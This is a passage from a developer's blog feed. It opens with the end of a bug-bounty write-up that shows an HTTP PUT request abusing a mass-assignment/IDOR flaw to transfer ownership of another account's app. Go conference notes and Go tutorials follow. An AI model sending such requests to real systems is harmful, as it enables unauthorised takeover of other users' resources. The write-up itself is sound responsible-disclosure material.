As such, this vulnerability would already have rated as a <em>High</em>,
but I&rsquo;m glad I didn&rsquo;t stop there.</p>
<h2 id="stealing-the-victims-app">Stealing the victim&rsquo;s app <a href="#stealing-the-victims-app">¶</a></h2>
<p>I was about to report the IDOR I had just found,
when something in the body of the <code>PUT</code> response caught my attention:
the suspicious presence of an <code>accoundId</code> field.
This repetition seemed superfluous:
why specify the ID of the account owning the app in the response body,
since that ID was already specified in the URL path?</p>
<p>This suggested another attack to me:
even though the only attributes of an app
meant to be modifiable were its title and its URL,
perhaps some business-logic error would allow me to change other app attributes
simply by specifying the relevant fields in the JSON body of the <code>PUT</code> request.
Because modifying an app&rsquo;s account ID was of particular interest to me,
I issued the following request:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">PUT</span> /accounts/101/apps/10210210-2102-1021-0210-210210210210 <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">api.example.org</span>
</span></span><span style="display:flex;"><span>Authorization<span style="color:#f92672">:</span> <span style="color:#ae81ff">Bearer &lt;token-valid-for-account-101&gt;</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/json</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;accountId&#34;</span>: <span style="color:#ae81ff">101</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Here is the response I got:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/json; charset=utf-8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;uuid&#34;</span>: <span style="color:#e6db74">&#34;10210210-2102-1021-0210-210210210210&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;title&#34;</span>: <span style="color:#e6db74">&#34;pwned by account 101!&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;url&#34;</span>: <span style="color:#e6db74">&#34;https://evilzone.org&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;isLive&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;accountId&#34;</span>: <span style="color:#ae81ff">101</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Shocking! I had seemingly just transferred ownership of the victim&rsquo;s app
to the attacker&rsquo;s account,
simply by issuing a <code>PUT</code> request from the attacker&rsquo;s session.
With uncontained excitement,
I quickly double-checked in the UI that the attack had been successful.
Yes! The attacker&rsquo;s dashboard now listed both apps
(the app created by the attacker and the one created by the victim),
whereas the victim&rsquo;s dashboard listed none.</p>
<h2 id="total-compromise-of-the-system">Total compromise of the system <a href="#total-compromise-of-the-system">¶</a></h2>
<p>Of course, this attack wasn&rsquo;t restricted to my two dummy accounts:
just by knowing an app&rsquo;s UUID (remember: they&rsquo;re public), I could
transfer ownership of the app from any account to an account I controlled.</p>
<p>I subsequently realised that I could modify more app attributes that way:
the <code>PUT</code> request more or less blindly accepted any known field that I would
specify in the body and effect the required changes.
This particular business-logic error falls under
<a href="https://cwe.mitre.org/data/definitions/915.html" target="_blank" rel="noopener"><em>CWE-915: Improperly Controlled Modification
of Dynamically-Determined Object Attributes</em></a>.
It&rsquo;s similar in nature to the <a href="https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html" target="_blank" rel="noopener">mass-assignment vulnerability</a>
that <a href="https://sakurity.com" target="_blank" rel="noopener">Egor Homakov</a> <a href="https://github.com/rails/rails/issues/5228" target="_blank" rel="noopener">reported to GitHub</a> back in 2012.
Moreover, app creation and deletion
(via <code>POST</code> and <code>DELETE</code> requests, respectively),
also suffered from the same IDOR vulnerability.</p>
<p>At that stage, I could literally own any app in the system.
Needless to say, my findings totally violated the system&rsquo;s permission model.
What compounded the problem is that
the organisation behind this system was dogfooding it,
and their app&rsquo;s UUID could trivially be discovered on their website!
I resisted (with some difficulty) the temptation to mess with their main app;
after all, I had already gathered all the evidence I needed,
and facetiousness could only have compromised my relationship with the
organisation.
I reported the issue with a <em>Critical</em> severity rating.</p>
<h2 id="conclusion">Conclusion <a href="#conclusion">¶</a></h2>
<p>Hunting for IDORs can be tedious, but finding one is exhilarating.
Many IDORs are right for the taking—insofar as detecting and exploiting them
doesn&rsquo;t require any advanced technical skills—and
they often have a significant impact on the target&rsquo;s security,
especially when you can chain them with some other vulnerability.
I know I will keep my eyes peeled for overtrusting <code>PUT</code> requests from now on.</p>
]]></content>
        </item>
        
        <item>
            <title>Plugging Git leaks: preventing and fixing information exposure in repositories</title>
            <link>//jub0bs.com/posts/2020-02-26-plugging-git-leaks/</link>
            <pubDate>Wed, 26 Feb 2020 09:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2020-02-26-plugging-git-leaks/</guid>
            <description>&lt;p&gt;My first guest post on &lt;a href=&#34;https://www.honeybadger.io/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Honeybadger&lt;/a&gt;&amp;rsquo;s blog, entitled&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Plugging Git Leaks: Preventing and Fixing Information Exposure in Repositories&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;has just been &lt;a href=&#34;https://www.honeybadger.io/blog/git-security/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;published&lt;/a&gt;!&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>My first guest post on <a href="https://www.honeybadger.io/" target="_blank" rel="noopener">Honeybadger</a>&rsquo;s blog, entitled</p>
<blockquote>
<p>Plugging Git Leaks: Preventing and Fixing Information Exposure in Repositories</p>
</blockquote>
<p>has just been <a href="https://www.honeybadger.io/blog/git-security/" target="_blank" rel="noopener">published</a>!</p>
]]></content>
        </item>
        
        <item>
            <title>Summary of dotGo 2019</title>
            <link>//jub0bs.com/posts/2019-04-10-dotgo2019/</link>
            <pubDate>Thu, 11 Apr 2019 09:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2019-04-10-dotgo2019/</guid>
            <description>&lt;p&gt;(This post is also &lt;a href=&#34;https://blog.humancoders.com/retour-sur-dotgo-2019-2742/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;available in French on Human Coders&#39;
blog&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;About two weeks ago, I had the privilege to attend &lt;a href=&#34;https://www.dotgo.eu/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;dotGo 2019&lt;/a&gt;,
the fifth edition of the European Go Conference. Whereas tech conferences I&amp;rsquo;ve
attended in the past tended to be held in soulless hotels or convention
centres, the dotGo team went all out and managed to secure the prestigious
Théâtre de Paris, on rue Blanche, as a venue for this conference. No doubt
the sponsors, including Heetch, Microsoft, Datadog, Soucegraph, and GitHub,
among others, helped.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>(This post is also <a href="https://blog.humancoders.com/retour-sur-dotgo-2019-2742/" target="_blank" rel="noopener">available in French on Human Coders'
blog</a>.)</p>
<p>About two weeks ago, I had the privilege to attend <a href="https://www.dotgo.eu/" target="_blank" rel="noopener">dotGo 2019</a>,
the fifth edition of the European Go Conference. Whereas tech conferences I&rsquo;ve
attended in the past tended to be held in soulless hotels or convention
centres, the dotGo team went all out and managed to secure the prestigious
Théâtre de Paris, on rue Blanche, as a venue for this conference. No doubt
the sponsors, including Heetch, Microsoft, Datadog, Soucegraph, and GitHub,
among others, helped.</p>
<p>Golang legend Dave Cheney acted as master of ceremony. Despite its short
duration (a single day, followed by a day of workshops), the conference was
packed with talks. Here are my takeaways. I won&rsquo;t go into too much detail here;
I just want to give you a taste of what you can expect from the talks, which
should soon be available on <a href="https://www.dotconferences.com/" target="_blank" rel="noopener">dotconferences.com</a>.</p>
<p>(Those intrigued by Go may be interested to know that I give <a href="https://www.humancoders.com/formations/go" target="_blank" rel="noopener">training for
Go beginners through Human Coders</a>.)</p>
<p><img src="/images/nicolas_ravelli_1.jpg" alt="Taken at dotGo 2019 in Paris on March 25, 2019 by Nicolas Ravelli"></p>
<h2 id="first-session">First session <a href="#first-session">¶</a></h2>
<h3 id="daniel-martí-more-reliable-microbenchmarks">Daniel Martí: more reliable microbenchmarks <a href="#daniel-mart%c3%ad-more-reliable-microbenchmarks">¶</a></h3>
<p><a href="https://mvdan.cc" target="_blank" rel="noopener">Daniel Martí</a> opened the conference with a rather technical
talk. Although the Go command-line interface allows programmers to run
microbenchmarks on performance-critical parts of their code, the results can be
inconclusive because of prohibitive variance. In plain terms, due to various
environmental factors (such as CPU activity), a microbenchmark may look
promising on one run, only to sorely disappoint on a subsequent run. Daniel
showed a number of novel techniques to reduce the noise and get more
definitive answers from your microbenchmarks.</p>
<h3 id="kat-zién-domain-driven-design-and-go">Kat Zién: domain-driven design and Go <a href="#kat-zi%c3%a9n-domain-driven-design-and-go">¶</a></h3>
<p><a href="https://github.com/katzien" target="_blank" rel="noopener">Kat Zién</a> then gave a talk on a topic close to my domain-driven
designer&rsquo;s heart: <em>hexagonal architecture</em>. The term was coined by <a href="http://wiki.c2.com/?HexagonalArchitecture" target="_blank" rel="noopener">Alistair
Cockburn</a>, but the basic idea can be traced back to earlier
times and keeps being rediscovered under different names, such as &ldquo;onion
architecture&rdquo;. Hexagonal Architecture consists in structuring a system by
cleanly separating the implementation of the business domain from the
technical components (e.g. the database) that support it. The approach
promises a more understandable and maintainable system.</p>
<p>Kat&rsquo;s talk was a good introduction to hexagonal architecture, but I wish she
had shown how to apply its principles to Go programs specifically (check out
<a href="https://www.youtube.com/watch?v=twcDf_Y2gXY" target="_blank" rel="noopener">Marcus Olsson&rsquo;s talk</a> about this). However, talks had to
be kept short, and I can forgive Kat for not delving too much into the gory
details. I&rsquo;ll be sure to check her future talks out.</p>
<h3 id="ignat-korchagin-go-as-a-scripting-language">Ignat Korchagin: Go as a scripting language <a href="#ignat-korchagin-go-as-a-scripting-language">¶</a></h3>
<p><a href="https://pqsec.org" target="_blank" rel="noopener">Ignat Korchagin</a> then shed some light on the hoops one has
to jump through in order to use Go as a scripting language. In particular,
Go&rsquo;s syntax being incompatible with the standard shebang syntax does not make
our life easier. Ignat showed some workarounds, but none satisfy me yet. I&rsquo;ll
stick to Python or shell scripts for now.</p>
<h3 id="michael-mcloughlin-closer-to-the-metal">Michael McLoughlin: closer to the metal <a href="#michael-mcloughlin-closer-to-the-metal">¶</a></h3>
<p><a href="https://mmcloughlin.com" target="_blank" rel="noopener">Michael McLoughlin</a> then talked about the mechanics of
writing assembly in Go, with a strong focus on amd64. When performance is
paramount, Go may sometimes fall short, and you have have to resort to writing
code in assembly; several standard-library routines are actually written not
in Go, but in assembly. However, writing raw assembly code is a dangerous
exercise (no type checker to guide you towards correctness), and bugs can have
serious ramifications (imagine a bug in a cryptographic routine).</p>
<p>Michael&rsquo;s answer to this problem is <a href="https://github.com/mmcloughlin/avo" target="_blank" rel="noopener">avo</a>, which allows you write Go
programs to generate assembly code. The benefits are clear: the Go source code
fed to avo is comparatively more compact, easier to test, understand, and
maintain than hand-rolled assembly code, yet the generated assembly code is
as performant. Michael illustrated the benefits of his approach by showcasing
a SHA-1 implementation; impressive!</p>
<p><img src="/images/nicolas_ravelli_2.jpg" alt="Taken at dotGo 2019 in Paris on March 25, 2019 by Nicolas Ravelli"></p>
<h2 id="second-session">Second session <a href="#second-session">¶</a></h2>
<h3 id="lightning-talks">Lightning talks <a href="#lightning-talks">¶</a></h3>
<p>The audience was then treated to a round of lightning talks by <a href="https://blog.owulveryck.info" target="_blank" rel="noopener">Olivier
Wulveryck</a>, <a href="https://empijei.science" target="_blank" rel="noopener">Roberto Clapis</a>, <a href="https://github.com/pisush" target="_blank" rel="noopener">Natalie
Pistunovich</a>, <a href="https://bsky.app/profile/deleplace.bsky.social" target="_blank" rel="noopener">Valentin Deleplace</a>,
and <a href="https://github.com/joanlopez" target="_blank" rel="noopener">Joan López de la Franca Beltran</a>. Valentin Deleplace, with
his dual implementations of a semaphore, was the highlight, for me. You can
think of a semaphore as a swimming pool where patrons must each don a swimming
cap before entering the pool and where only a fixed number of swimming caps are
made available. Alternatively, you can think of a semaphore as a swimming pool
where patrons must lock their belongings before entering the pool and the
number of lockers is limited.</p>
<h3 id="dave-cheney-constants-and-variables">Dave Cheney: constants and variables <a href="#dave-cheney-constants-and-variables">¶</a></h3>
<p>Regular-length talks resumed with <a href="https://dave.cheney.net" target="_blank" rel="noopener">Dave Cheney</a>&rsquo;s. Stepping out
of his role of master of ceremony for a moment, Dave chose to revisit <a href="https://dave.cheney.net/2016/04/07/constant-errors" target="_blank" rel="noopener">one of
his 2016 blogposts</a>. Go packages typically define some
sentinel error values using the <code>errors.New</code> function. For instance, packages
<code>io</code> and <code>rsa</code> define struct values respectively named <code>EOF</code> and
<code>ErrVerification</code>, which clients can then use in equality tests to detect
whether the code has strayed from the happy path.</p>
<p>In an ideal world, such sentinel error values really ought to be constants
but, because of some language quirks, those values have to be defined as
variables (using <code>var</code>) and can therefore be clobbered by clients of the
package that defines them. You can imagine the ramifications in terms of
correctness and security.</p>
<p>Dave then shared his workaround: first, define a custom error type whose
underlying type is <code>string</code>, equip it with an <code>Error</code> method that simply
returns the <code>string</code> value, and define your sentinel error values with it.
Then, the latter can be defined as <code>const</code>s rather than <code>var</code>s, and all is
well. This is an interesting approach which you&rsquo;re free to experiment with in
your code, though the idiom is unlikely to achieve currency in the standard
library.</p>
<h3 id="jean-de-klerk-go-modules-and-git-repos">Jean de Klerk: Go modules and Git repos <a href="#jean-de-klerk-go-modules-and-git-repos">¶</a></h3>
<p><a href="https://jeanbza.github.io" target="_blank" rel="noopener">Jean de Klerk</a> talked about the intricacies of having
multi-module repositories. Not so long ago, dependency management in Go left
much to be desired. Everything changed (for the better) when Go 1.11 added a
bona bide <a href="https://golang.org/doc/go1.11#modules" target="_blank" rel="noopener">module system</a>, born out of the vgo project. The
module system is still in its infancy and is expected to reach
general-availability status with version 1.13.</p>
<p>The recommended approach is to have to one Go module per Git repository.
However, you may, in some cases, want to track multiple modules within the
same repo, especially when you work at Google, who seems dead set on
monolithic repos. Here be dragons! I&rsquo;ll let you watch Jean&rsquo;s talk for the gory
details, but my takeaway is this rule of thumb: <strong>one module, one repo</strong>.</p>
<p><img src="/images/nicolas_ravelli_3.jpg" alt="Taken at dotGo 2019 in Paris on March 25, 2019 by Nicolas Ravelli"></p>
<h2 id="third-session">Third session <a href="#third-session">¶</a></h2>
<h3 id="johann-brandhorst-webassemly-from-go">Johann Brandhorst: WebAssemly from Go <a href="#johann-brandhorst-webassemly-from-go">¶</a></h3>
<p><a href="https://jbrandhorst.com" target="_blank" rel="noopener">Johann Brandhorst</a> had another live-coding session in
store for us, this time about writing WebAssembly using Go. Because I still
haven&rsquo;t delved much into WebAssembly myself, some of Johann&rsquo;s talk went over
my head, but, if the audience&rsquo;s reaction is anything to go by, good things are
coming our way.</p>
<h3 id="bryan-boreham-garbage-collector-tuning">Bryan Boreham: garbage-collector tuning <a href="#bryan-boreham-garbage-collector-tuning">¶</a></h3>
<p><a href="https://bsky.app/profile/bboreham.bsky.social" target="_blank" rel="noopener">Bryan Boreham</a> gave a talk about how to tune Go&rsquo;s garbage
collector. The JVM&rsquo;s garbage collector offers numerous options and can be
notoriously difficult to tune; there are entire books dedicated to this dark
art. Life is comparatively simpler for Gophers: only one option, named <code>GOGC</code>,
is available to tune the Go garbage collector! However, Bryan admitted that
having options for setting the minimum and maximum sizes of the heap would be
useful&hellip;</p>
<p>Incidentally, for programs that have modest memory needs and whose execution
is guaranteed to be short, Bryan tells us that you can get a performance
boost by completely disabling the garbage collector (<code>GOGC=off</code>). A cool trick!</p>
<p><img src="/images/nicolas_ravelli_4.jpg" alt="Taken at dotGo 2019 in Paris on March 25, 2019 by Nicolas Ravelli"></p>
<h3 id="ellen-körbes-no-this-is-not-a-sex-toy">Ellen Körbes: No, this is not a sex toy&hellip; <a href="#ellen-k%c3%b6rbes-no-this-is-not-a-sex-toy">¶</a></h3>
<p><a href="https://github.com/vkorbes" target="_blank" rel="noopener">Ellen Körbes</a>, who—and this is important—identifies as
non-binary, delivered an audacious live-coding talk about how to design
one&rsquo;s own vagina dilator—look this up, if you need to—using Go-based
3D-modelling tools. Nerd to the core, they even enhanced the original design
by adding a Gopher head at the outer end. Nice touch!</p>
<h2 id="last-session">Last session <a href="#last-session">¶</a></h2>
<h3 id="james-bowes-the-dangers-of-reflect-and-unsafe">James Bowes: the dangers of <code>reflect</code> and <code>unsafe</code> <a href="#james-bowes-the-dangers-of-reflect-and-unsafe">¶</a></h3>
<p><a href="https://repl.ca" target="_blank" rel="noopener">James Bowes</a> gave us pause on whether mere mortals should ever
reach for the notorious <code>reflect</code> and <code>unsafe</code> packages. Usage of <code>reflect</code> is
pervasive in the standard library: whenever you see empty interfaces
(<code>interface{}</code>) or struct tags, there is a good chance that <code>reflect</code> is
working its magic under the hood. As for <code>unsafe</code>, it is used in places when
sidestepping the type system is essential for good performance.</p>
<p>However, those two packages can be dangerous when used by the uninitiated—yours
truly included. James&rsquo;s injunction is clear: as a rule of thumb, stay away from
the <code>unsafe</code> package, and resist the temptation to use <code>reflect</code> (e.g. for
run-time dependency injection).</p>
<h3 id="jess-frazelle-living-at-risc-v">Jess Frazelle: living at RISC-V <a href="#jess-frazelle-living-at-risc-v">¶</a></h3>
<p><a href="https://jess.dev" target="_blank" rel="noopener">Jess Frazelle</a> is a bright star of the Go community. She has
a refreshing way of dropping the F-bomb every other sentence, which keeps the
audience on its toes. She took us on a whirlwind tour of the x86 zoo of
instruction sets. One prominent x86 instruction-set architecture is RISC-V,
and Jess talked about her work in adding support for the architecture to Go.</p>
<h3 id="marcel-van-lohuizen-error-wrapping-goes-mainstream">Marcel van Lohuizen: error wrapping goes mainstream <a href="#marcel-van-lohuizen-error-wrapping-goes-mainstream">¶</a></h3>
<p>For the final talk of the conference, <a href="https://bsky.app/profile/mpvl.io" target="_blank" rel="noopener">Marcel van
Lohuizen</a> teased upcoming improvements in Go&rsquo;s
error-handling mechanics. Wrapping errors, i.e. the practice of referring to
the cause of an error within itself, is a useful feature conspicuously absent
from Go&rsquo;s standard-library <code>errors</code> package. To fill that void, the community
has splintered into many different approaches of wrapping errors, all mutually
incompatible in slightly different ways. Standardisation around how errors
ought to be wrapped was badly needed.</p>
<p>Marcel&rsquo;s talk described how the <code>errors</code> API is going to expand in Go 1.13 in
order to accommodate a canonical way of wrapping errors. The planned changes
also open the possibility of error-message localisation, for the benefit of
programmers who would rather read error messages in their native tongue.
The new API is already available in experimental package
<a href="https://godoc.org/golang.org/x/exp/errors" target="_blank" rel="noopener">golang.org/x/exp/errors</a>. Great stuff!</p>
<p><img src="/images/nicolas_ravelli_5.jpg" alt="Taken at dotGo 2019 in Paris on March 25, 2019 by Nicolas Ravelli"></p>
<h2 id="epilogue">Epilogue <a href="#epilogue">¶</a></h2>
<p>After a few pints at some pub (whose name I&rsquo;ve forgotten) next door from the
Moulin Rouge, it was time to sleep it off.</p>
<p>Other accounts—including <a href="https://www.eskuel.net/dotgo-europe-2019-1563" target="_blank" rel="noopener">this one</a> (in French)—have popped up
on the Web, and I invite you to read them to get a different perspective about
the conference.</p>
<p>Thanks again to <a href="https://www.humancoders.com" target="_blank" rel="noopener">Human Coders</a>, who generously gave me a
conference ticket. dotGo 2020 has already been announced, and will be held in
the same venue next March. If it&rsquo;s anything like this year&rsquo;s edition, I&rsquo;ll try
my best to attend, and you should too.</p>
]]></content>
        </item>
        
        <item>
            <title>Access control in Go: a primer for Java developers</title>
            <link>//jub0bs.com/posts/2018-08-22-access-control-in-go/</link>
            <pubDate>Wed, 22 Aug 2018 21:30:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2018-08-22-access-control-in-go/</guid>
            <description>&lt;p&gt;Go supports multiple programming paradigms, including object orientation.
However, if you&amp;rsquo;re coming to Go from Java, you may be slightly&amp;hellip; ehm&amp;hellip;
&lt;em&gt;disoriented&lt;/em&gt;.
One striking absence is that of any access modifiers.
You may be wondering:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Where are my &lt;code&gt;public&lt;/code&gt;, &lt;code&gt;protected&lt;/code&gt;, and &lt;code&gt;private&lt;/code&gt; keywords?
What mechanisms for access control does Go provide?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Fret not!
Access control in Go is simpler than in Java.
No access modifiers needed!&lt;/p&gt;
&lt;h2 id=&#34;why-go-needs-not-four-but-only-two-access-levels&#34;&gt;Why Go needs, not four, but only two access levels &lt;a href=&#34;#why-go-needs-not-four-but-only-two-access-levels&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You&amp;rsquo;re most likely familiar with the four access levels that Java provides.
I&amp;rsquo;ve listed them below, from the most to the least restrictive,
along with a concise description of their semantics:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Go supports multiple programming paradigms, including object orientation.
However, if you&rsquo;re coming to Go from Java, you may be slightly&hellip; ehm&hellip;
<em>disoriented</em>.
One striking absence is that of any access modifiers.
You may be wondering:</p>
<blockquote>
<p>Where are my <code>public</code>, <code>protected</code>, and <code>private</code> keywords?
What mechanisms for access control does Go provide?</p>
</blockquote>
<p>Fret not!
Access control in Go is simpler than in Java.
No access modifiers needed!</p>
<h2 id="why-go-needs-not-four-but-only-two-access-levels">Why Go needs, not four, but only two access levels <a href="#why-go-needs-not-four-but-only-two-access-levels">¶</a></h2>
<p>You&rsquo;re most likely familiar with the four access levels that Java provides.
I&rsquo;ve listed them below, from the most to the least restrictive,
along with a concise description of their semantics:</p>
<ul>
<li><strong>private</strong>: only accessible from the same class</li>
<li><strong>package-private</strong>: only accessible from the same package</li>
<li><strong>protected</strong>: only accessible from the same package and (direct or
indirect) subclasses</li>
<li><strong>public</strong>: accessible from anywhere</li>
</ul>
<p>(Note: The term &ldquo;package-private&rdquo; is nowhere to be found in the <a href="https://docs.oracle.com/javase/specs/jls/se10/jls10.pdf" target="_blank" rel="noopener">Java language
specification</a> but was popularised by Joshua Bloch in his book,
<a href="https://www.pearson.com/us/higher-education/program/Bloch-Effective-Java-3rd-Edition/PGM1763855.html" target="_blank" rel="noopener"><em>Effective Java</em></a>.)</p>
<p>We&rsquo;ve lined them up; now let&rsquo;s knock two of them down!</p>
<h3 id="package-as-the-unit-of-encapsulation">Package as the unit of encapsulation <a href="#package-as-the-unit-of-encapsulation">¶</a></h3>
<p>Go allows you to define concrete types—which in Java, would be <em>classes</em>—but</p>
<blockquote>
<p>[&hellip;] the unit of encapsulation is the package, not the type as in many
other languages.</p>
</blockquote>
<p>(source: <a href="https://www.gopl.io/" target="_blank" rel="noopener">The Go Programming Language, Donovan &amp; Kernighan</a>, section 6.6)</p>
<p>For instance,</p>
<blockquote>
<p>The fields of a struct type are visible to all code within the same package.</p>
</blockquote>
<p>(ibid)</p>
<p>Therefore, Go has no need for a distinction between <em>private</em> and
<em>package-private</em>.
And then there were three:</p>
<ul>
<li><del><strong>private</strong>: only accessible from the same class</del></li>
<li><strong>package-private</strong>: only accessible from the same package</li>
<li><strong>protected</strong>: only accessible from the same package and (direct or
indirect) subclasses</li>
<li><strong>public</strong>: accessible from anywhere</li>
</ul>
<h3 id="no-inheritance">No inheritance <a href="#no-inheritance">¶</a></h3>
<p>Most notably, Go provides no mechanism for inheritance.
Therefore, Go has no need for a distinction between <em>package-private</em> and
<em>protected</em>.
And then there were two:</p>
<ul>
<li><del><strong>private</strong>: only accessible from the same class</del></li>
<li><strong>package-private</strong>: only accessible from the same package</li>
<li><del><strong>protected</strong>: only accessible from the same package and (direct or
indirect) subclasses</del></li>
<li><strong>public</strong>: accessible from anywhere</li>
</ul>
<h2 id="access-control-in-go">Access control in Go <a href="#access-control-in-go">¶</a></h2>
<p>We&rsquo;re left with two access levels, which is all Go needs:
public and package-private.
Go&rsquo;s terminology is different from Java&rsquo;s, though:
an identifier is said to be either <em>exported</em> (public) or <em>non-exported</em>
(package-private).
You will likely also come across the term &ldquo;unexported&rdquo;, which is an informal
synonym of <em>non-exported</em>, but
I recommend using the more formal term.</p>
<p>For controlling access to identifiers, <a href="https://golang.org/ref/spec#Exported_identifiers" target="_blank" rel="noopener">the Go designers opted for naming
convention rather than verbosity</a>:</p>
<blockquote>
<p>An identifier is exported if both:</p>
<ol>
<li><strong>the first character of the identifier&rsquo;s name is a Unicode uppercase
letter</strong> (Unicode class &ldquo;Lu&rdquo;); and</li>
<li>the identifier is declared in the package block or it is a field name or
method name.</li>
</ol>
<p>All other identifiers are not exported.</p>
</blockquote>
<p>(my emphasis)</p>
<p>To fix ideas, here is an example involving two package-level variables:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">foo</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Bar</span> = <span style="color:#e6db74">&#34;Bar&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">baz</span> = <span style="color:#e6db74">&#34;baz&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>Package <code>foo</code> exports <code>Bar</code>, because the first letter is uppercase.
However, <code>foo</code> does <em>not</em> export <code>baz</code>, because the first letter is <em>not</em>
uppercase.</p>
<h2 id="conclusion">Conclusion <a href="#conclusion">¶</a></h2>
<p><a href="https://www.youtube.com/watch?v=5kj5ApnhPAE" target="_blank" rel="noopener">Go was designed to be easy to read</a>, and the design decisions
around access control certainly contribute to Go&rsquo;s readability:
not only is the code unencumbered by pesky access modifiers, but the case of
an identifier&rsquo;s first letter is enough to know whether the identifier is
exported.</p>
<p>This is just one reason why you may find that reading Go takes less of a toll
on your brain than reading Java does.
But that&rsquo;s just my opinion. What do <em>you</em> think?</p>
]]></content>
        </item>
        
        <item>
            <title>Defer: sweet, but no syntactic sugar</title>
            <link>//jub0bs.com/posts/2018-08-15-defer/</link>
            <pubDate>Wed, 15 Aug 2018 13:15:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2018-08-15-defer/</guid>
            <description>&lt;h2 id=&#34;defer-in-a-nutshell&#34;&gt;&lt;code&gt;defer&lt;/code&gt;, in a nutshell &lt;a href=&#34;#defer-in-a-nutshell&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When learning Go, one quickly comes across the &lt;code&gt;defer&lt;/code&gt; keyword.
For instance, the &lt;a href=&#34;https://tour.golang.org/flowcontrol/12&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;Tour of Go&lt;/a&gt; introduces &lt;code&gt;defer&lt;/code&gt; thus:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A defer statement defers the execution of a function until the surrounding
function returns.&lt;/p&gt;
&lt;p&gt;The deferred call&amp;rsquo;s arguments are evaluated immediately, but the function
call is not executed until the surrounding function returns.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;package&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;main&lt;/span&gt;() {
